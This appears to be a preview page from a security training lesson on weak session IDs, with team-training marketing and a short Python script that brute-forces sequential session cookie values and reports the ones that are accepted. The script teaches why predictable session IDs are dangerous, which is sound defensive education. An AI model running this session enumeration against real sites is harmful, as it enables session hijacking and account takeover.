Lesson:
Weak Session IDs
Public previewWant everyone on your software team to learn this? Get completion tracking and compliance reporting with Hacksplaining for Teams. Free 14-day trial.
Train my teamsession-probing.pysession_id = 0
while True:
headers = { "Cookie" : f"session_id={session_id}" }
response = requests.get(url, headers=headers, allow_redirects=False)
if response.status_code == 200:
print(f"Found valid session ID: {session_id}")
session_id += 1
if session_id % 10000 == 0:
print(f"Checked session IDs up to {session_id}")